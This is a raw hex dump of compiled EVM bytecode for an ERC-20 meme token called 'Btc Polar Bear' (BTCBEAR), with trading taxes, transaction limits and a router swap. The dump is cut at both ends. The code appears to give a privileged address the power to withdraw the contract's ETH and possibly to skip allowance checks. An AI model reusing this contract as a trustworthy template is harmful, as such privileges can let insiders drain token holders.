ffffffff16145b80156113f65750601460169054906101000a900460ff165b80156114055750600c54600e54115b15611449576011548111156114325761143161142c8461142784601254611881565b611881565b611899565b5b5f4790505f81106114475761144647611b04565b5b505b505b5f81111561154a576114a38160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b6c90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115419190611e3f565b60405180910390a35b61159a8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061163d6115f18284611bc990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b6c90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6116e08486611bc990919063ffffffff16565b6040516116ed9190611e3f565b60405180910390a350505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461175857819050611759565b5b92915050565b5f8383111582906117a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179d9190611d6c565b60405180910390fd5b505f83856117b49190612776565b9050809150509392505050565b5f8083036117d1575f9050611832565b5f82846117de9190612150565b90508284826117ed91906127d6565b1461182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490612876565b60405180910390fd5b809150505b92915050565b5f61187983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c12565b905092915050565b5f81831161188f5782611891565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156118d0576118cf612894565b5b6040519080825280602002602001820160405280156118fe5781602001602082028036833780820191505090505b50905030815f81518110611915576119146128c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119dd9190612902565b816001815181106119f1576119f06128c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a573060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cb2565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611ab99594939291906129e4565b5f604051808303815f87803b158015611ad0575f80fd5b505af1158015611ae2573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b68573d5f803e3d5ffd5b5050565b5f808284611b7a9190612694565b905083811015611bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb690612a86565b60405180910390fd5b8091505092915050565b5f611c0a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061175f565b905092915050565b5f8083118290611c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4f9190611d6c565b60405180910390fd5b505f8385611c6691906127d6565b9050809150509392505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ca082611c77565b9050919050565b611cb081611c96565b8114611cba575f80fd5b50565b5f81359050611ccb81611ca7565b92915050565b5f60208284031215611ce657611ce5611c73565b5b5f611cf384828501611cbd565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611d3e82611cfc565b611d488185611d06565b9350611d58818560208601611d16565b611d6181611d24565b840191505092915050565b5f6020820190508181035f830152611d848184611d34565b905092915050565b5f819050919050565b611d9e81611d8c565b8114611da8575f80fd5b50565b5f81359050611db981611d95565b92915050565b5f8060408385031215611dd557611dd4611c73565b5b5f611de285828601611cbd565b9250506020611df385828601611dab565b9150509250929050565b5f8115159050919050565b611e1181611dfd565b82525050565b5f602082019050611e2a5f830184611e08565b92915050565b611e3981611d8c565b82525050565b5f602082019050611e525f830184611e30565b92915050565b5f805f60608486031215611e6f57611e6e611c73565b5b5f611e7c86828701611cbd565b9350506020611e8d86828701611cbd565b9250506040611e9e86828701611dab565b9150509250925092565b5f60ff82169050919050565b611ebd81611ea8565b82525050565b5f602082019050611ed65f830184611eb4565b92915050565b611ee581611c96565b82525050565b5f602082019050611efe5f830184611edc565b92915050565b5f8060408385031215611f1a57611f19611c73565b5b5f611f2785828601611cbd565b9250506020611f3885828601611cbd565b9150509250929050565b7f4e6f2041555448000000000000000000000000000000000000000000000000005f82015250565b5f611f76600783611d06565b9150611f8182611f42565b602082019050919050565b5f6020820190508181035f830152611fa381611f6a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561202c5780860481111561200857612007611faa565b5b60018516156120175780820291505b808102905061202585611fd7565b9450611fec565b94509492505050565b5f8261204457600190506120ff565b81612051575f90506120ff565b81600181146120675760028114612071576120a0565b60019150506120ff565b60ff84111561208357612082611faa565b5b8360020a91508482111561209a57612099611faa565b5b506120ff565b5060208310610133831016604e8410600b84101617156120d55782820a9050838111156120d0576120cf611faa565b5b6120ff565b6120e28484846001611fe3565b925090508184048111156120f9576120f8611faa565b5b81810290505b9392505050565b5f61211082611d8c565b915061211b83611ea8565b92506121487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612035565b905092915050565b5f61215a82611d8c565b915061216583611d8c565b925082820261217381611d8c565b9150828204841483151761218a57612189611faa565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6121c5602083611d06565b91506121d082612191565b602082019050919050565b5f6020820190508181035f8301526121f2816121b9565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61222d601783611d06565b9150612238826121f9565b602082019050919050565b5f6020820190508181035f83015261225a81612221565b9050919050565b5f819050919050565b5f819050919050565b5f61228d61228861228384612261565b61226a565b611d8c565b9050919050565b61229d81612273565b82525050565b5f60c0820190506122b65f830189611edc565b6122c36020830188611e30565b6122d06040830187612294565b6122dd6060830186612294565b6122ea6080830185611edc565b6122f760a0830184611e30565b979650505050505050565b5f8151905061231081611d95565b92915050565b5f805f6060848603121561232d5761232c611c73565b5b5f61233a86828701612302565b935050602061234b86828701612302565b925050604061235c86828701612302565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6123c0602483611d06565b91506123cb82612366565b604082019050919050565b5f6020820190508181035f8301526123ed816123b4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61244e602283611d06565b9150612459826123f4565b604082019050919050565b5f6020820190508181035f83015261247b81612442565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124dc602583611d06565b91506124e782612482565b604082019050919050565b5f6020820190508181035f830152612509816124d0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61256a602383611d06565b915061257582612510565b604082019050919050565b5f6020820190508181035f8301526125978161255e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6125f8602983611d06565b91506126038261259e565b604082019050919050565b5f6020820190508181035f830152612625816125ec565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612660601983611d06565b915061266b8261262c565b602082019050919050565b5f6020820190508181035f83015261268d81612654565b9050919050565b5f61269e82611d8c565b91506126a983611d8c565b92508282019050808211156126c1576126c0611faa565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6126fb601a83611d06565b9150612706826126c7565b602082019050919050565b5f6020820190508181035f830152612728816126ef565b9050919050565b5f61273982611d8c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361276b5761276a611faa565b5b600182019050919050565b5f61278082611d8c565b915061278b83611d8c565b92508282039050818111156127a3576127a2611faa565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6127e082611d8c565b91506127eb83611d8c565b9250826127fb576127fa6127a9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612860602183611d06565b915061286b82612806565b604082019050919050565b5f6020820190508181035f83015261288d81612854565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506128fc81611ca7565b92915050565b5f6020828403121561291757612916611c73565b5b5f612924848285016128ee565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61295f81611c96565b82525050565b5f6129708383612956565b60208301905092915050565b5f602082019050919050565b5f6129928261292d565b61299c8185612937565b93506129a783612947565b805f5b838110156129d75781516129be8882612965565b97506129c98361297c565b9250506001810190506129aa565b5085935050505092915050565b5f60a0820190506129f75f830188611e30565b612a046020830187612294565b8181036040830152612a168186612988565b9050612a256060830185611edc565b612a326080830184611e30565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612a70601b83611d06565b9150612a7b82612a3c565b602082019050919050565b5f6020820190508181035f830152612a9d81612a64565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205c3439cf4d23900a7eb09f1d7d801d177708bb4b09adeb434399412b16b1d0c964736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061010c575f3560e01c8063751039fc116100945780638f9a55c0116100635780638f9a55c01461033157806395d89b411461035b578063a9059cbb14610385578063bf474bed146103c1578063dd62ed3e146103eb57610113565b8063751039fc146102b15780637d1db4a5146102c75780638a8c523c146102f15780638da5cb5b1461030757610113565b806318160ddd116100db57806318160ddd146101cf57806323b872dd146101f9578063313ce5671461023557806370a082311461025f578063715018a61461029b57610113565b806304824e701461011757806306fdde031461013f578063095ea7b3146101695780630faee56f146101a557610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061013d60048036038101906101389190611cd1565b610427565b005b34801561014a575f80fd5b5061015361054b565b6040516101609190611d6c565b60405180910390f35b348015610174575f80fd5b5061018f600480360381019061018a9190611dbf565b610588565b60405161019c9190611e17565b60405180910390f35b3480156101b0575f80fd5b506101b96105a5565b6040516101c69190611e3f565b60405180910390f35b3480156101da575f80fd5b506101e36105ab565b6040516101f09190611e3f565b60405180910390f35b348015610204575f80fd5b5061021f600480360381019061021a9190611e58565b6105ce565b60405161022c9190611e17565b60405180910390f35b348015610240575f80fd5b506102496106b2565b6040516102569190611ec3565b60405180910390f35b34801561026a575f80fd5b5061028560048036038101906102809190611cd1565b6106ba565b6040516102929190611e3f565b60405180910390f35b3480156102a6575f80fd5b506102af610700565b005b3480156102bc575f80fd5b506102c561084e565b005b3480156102d2575f80fd5b506102db61097d565b6040516102e89190611e3f565b60405180910390f35b3480156102fc575f80fd5b50610305610983565b005b348015610312575f80fd5b5061031b610b9c565b6040516103289190611eeb565b60405180910390f35b34801561033c575f80fd5b50610345610bc3565b6040516103529190611e3f565b60405180910390f35b348015610366575f80fd5b5061036f610bc9565b60405161037c9190611d6c565b60405180910390f35b348015610390575f80fd5b506103ab60048036038101906103a69190611dbf565b610c06565b6040516103b89190611e17565b60405180910390f35b3480156103cc575f80fd5b506103d5610c23565b6040516103e29190611e3f565b60405180910390f35b3480156103f6575f80fd5b50610411600480360381019061040c9190611f04565b610c29565b60405161041e9190611e3f565b60405180910390f35b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610467610cab565b73ffffffffffffffffffffffffffffffffffffffff16146104bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b490611f8c565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610505610cab565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610547573d5f803e3d5ffd5b5050565b60606040518060400160405280600e81526020017f42746320506f6c61722042656172000000000000000000000000000000000000815250905090565b5f61059b610594610cab565b8484610cb2565b6001905092915050565b60125481565b5f6009600a6105ba9190612106565b633b9aca006105c99190612150565b905090565b5f6105da848484610e75565b6106a7846105e6610cab565b6106a26105fa6105f4610cab565b876116fb565b604051806060016040528060288152602001612aa56028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610659610cab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461175f9092919063ffffffff16565b610cb2565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610708610cab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078b906121db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610856610cab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d9906121db565b60405180910390fd5b6009600a6108f09190612106565b633b9aca006108ff9190612150565b600f819055506009600a6109139190612106565b633b9aca006109229190612150565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109579190612106565b633b9aca006109669190612150565b6040516109739190611e3f565b60405180910390a1565b600f5481565b61098b610cab565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0e906121db565b60405180910390fd5b60148054906101000a900460ff1615610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90612243565b60405180910390fd5b610aad3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610a999190612106565b633b9aca00610aa89190612150565b610cb2565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af5306106ba565b5f80610aff610b9c565b426040518863ffffffff1660e01b8152600401610b21969594939291906122a3565b60606040518083038185885af1158015610b3d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b629190612316565b5050506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600781526020017f4254434245415200000000000000000000000000000000000000000000000000815250905090565b5f610c19610c12610cab565b8484610e75565b6001905092915050565b60115481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d17906123d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590612464565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e689190611e3f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eda906124f2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4890612580565b60405180910390fd5b5f8111610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a9061260e565b60405180910390fd5b5f610f9c610b9c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561100a5750610fda610b9c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561104257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561107a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561144b576110a76064611099600d54856117c190919063ffffffff16565b61183890919063ffffffff16565b905060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611152575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111a5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561129d57600f548211156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690612676565b60405180910390fd5b601054826111fc856106ba565b6112069190612694565b1115611247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123e90612711565b60405180910390fd5b6112836064611275600a54600e541161126257600654611266565b6008545b856117c190919063ffffffff16565b61183890919063ffffffff16565b9050600e5f8154809291906112979061272f565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561132557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611369576113666064611358600b54600e541161134557600754611349565b6009545b856117c190919063ffffffff16565b61183890919063ffffffff16565b90505b5f611373306106ba565b9050601460159054906101000a900460ff161580156113de575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156113f65750601460169054906101000a900460ff165b80156114055750600c54600e54115b15611449576011548111156114325761143161142c8461142784601254611881565b611881565b611899565b5b5f4790505f81106114475761144647611b04565b5b505b505b5f81111561154a576114a38160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b6c90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115419190611e3f565b60405180910390a35b61159a8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bc990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061163d6115f18284611bc990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b6c90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6116e08486611bc990919063ffffffff16565b6040516116ed9190611e3f565b60405180910390a350505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461175857819050611759565b5b92915050565b5f8383111582906117a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179d9190611d6c565b60405180910390fd5b505f83856117b49190612776565b9050809150509392505050565b5f8083036117d1575f9050611832565b5f82846117de9190612150565b90508284826117ed91906127d6565b1461182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490612876565b60405180910390fd5b809150505b92915050565b5f61187983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c12565b905092915050565b5f81831161188f5782611891565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156118d0576118cf612894565b5b6040519080825280602002602001820160405280156118fe5781602001602082028036833780820191505090505b50905030815f81518110611915576119146128c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119dd9190612902565b816001815181106119f1576119f06128c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a573060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cb2565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611ab99594939291906129e4565b5f604051808303815f87803b158015611ad0575f80fd5b505af1158015611ae2573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611b68573d5f803e3d5ffd5b5050565b5f808284611b7a9190612694565b905083811015611bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb690612a86565b60405180910390fd5b8091505092915050565b5f611c0a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061175f565b905092915050565b5f8083118290611c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4f9190611d6c565b60405180910390fd5b505f8385611c6691906127d6565b9050809150509392505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ca082611c77565b9050919050565b611cb081611c96565b8114611cba575f80fd5b50565b5f81359050611ccb81611ca7565b92915050565b5f60208284031215611ce657611ce5611c73565b5b5f611cf384828501611cbd565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611d3e82611cfc565b611d488185611d06565b9350611d58818560208601611d16565b611d6181611d24565b840191505092915050565b5f6020820190508181035f830152611d848184611d34565b905092915050565b5f819050919050565b611d9e81611d8c565b8114611da8575f80fd5b50565b5f81359050611db981611d95565b92915050565b5f8060408385031215611dd557611dd4611c73565b5b5f611de285828601611cbd565b9250506020611df385828601611dab565b9150509250929050565b5f8115159050919050565b611e1181611dfd565b82525050565b5f602082019050611e2a5f830184611e08565b92915050565b611e3981611d8c565b82525050565b5f602082019050611e525f830184611e30565b92915050565b5f805f60608486031215611e6f57611e6e611c73565b5b5f611e7c86828701611cbd565b9350506020611e8d86828701611cbd565b9250506040611e9e86828701611dab565b9150509250925092565b5f60ff82169050919050565b611ebd81611ea8565b82525050565b5f602082019050611ed65f830184611eb4565b92915050565b611ee581611c96565b82525050565b5f602082019050611efe5f830184611edc565b92915050565b5f8060408385031215611f1a57611f19611c73565b5b5f611f2785828601611cbd565b9250506020611f3885828601611cbd565b9150509250929050565b7f4e6f2041555448000000000000000000000000000000000000000000000000005f82015250565b5f611f76600783611d06565b9150611f8182611f42565b602082019050919050565b5f6020820190508181035f830152611fa381611f6a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561202c5780860481111561200857612007611faa565b5b60018516156120175780820291505b808102905061202585611fd7565b9450611fec565b94509492505050565b5f8261204457600190506120ff565b81612051575f90506120ff565b81600181146120675760028114612071576120a0565b60019150506120ff565b60ff84111561208357612082611faa565b5b8360020a91508482111561209a57612099611faa565b5b506120ff565b5060208310610133831016604e8410600b84101617156120d55782820a9050838111156120d0576120cf611faa565b5b6120ff565b6120e28484846001611fe3565b925090508184048111156120f9576120f8611faa565b5b81810290505b9392505050565b5f61211082611d8c565b915061211b83611ea8565b92506121487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612035565b905092915050565b5f61215a82611d8c565b915061216583611d8c565b925082820261217381611d8c565b9150828204841483151761218a57612189611faa565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6121c5602083611d06565b91506121d082612191565b602082019050919050565b5f6020820190508181035f8301526121f2816121b9565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61222d601783611d06565b9150612238826121f9565b602082019050919050565b5f6020820190508181035f83015261225a81612221565b9050919050565b5f819050919050565b5f819050919050565b5f61228d61228861228384612261565b61226a565b611d8c565b9050919050565b61229d81612273565b82525050565b5f60c0820190506122b65f830189611edc565b6122c36020830188611e30565b6122d06040830187612294565b6122dd6060830186612294565b6122ea6080830185611edc565b6122f760a0830184611e30565b979650505050505050565b5f8151905061231081611d95565b92915050565b5f805f6060848603121561232d5761232c611c73565b5b5f61233a86828701612302565b935050602061234b86828701612302565b925050604061235c86828701612302565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6123c0602483611d06565b91506123cb82612366565b604082019050919050565b5f6020820190508181035f8301526123ed816123b4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61244e602283611d06565b9150612459826123f4565b604082019050919050565b5f6020820190508181035f83015261247b81612442565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124dc602583611d06565b91506124e782612482565b604082019050919050565b5f6020820190508181035f830152612509816124d0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61256a602383611d06565b915061257582612510565b604082019050919050565b5f6020820190508181035f8301526125978161255e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6125f8602983611d06565b91506126038261259e565b604082019050919050565b5f6020820190508181035f830152612625816125ec565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612660601983611d06565b915061266b8261262c565b602082019050919050565b5f6020820190508181035f83015261268d81612654565b9050919050565b5f61269e82611d8c565b91506126a983611d8c565b92508282019050808211156126c1576126c0611faa565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6126fb601a83611d06565b9150612706826126c7565b602082019050919050565b5f6020820190508181035f830152612728816126ef565b9050919050565b5f61273982611d8c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361276b5761276a611faa565b5b600182019050919050565b5f61278082611d8c565b915061278b83611d8c565b92508282039050818111156127a3576127a2611faa565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6127e082611d8c565b91506127eb83611d8c565b9250826127fb576127fa6127a9565b5b828204905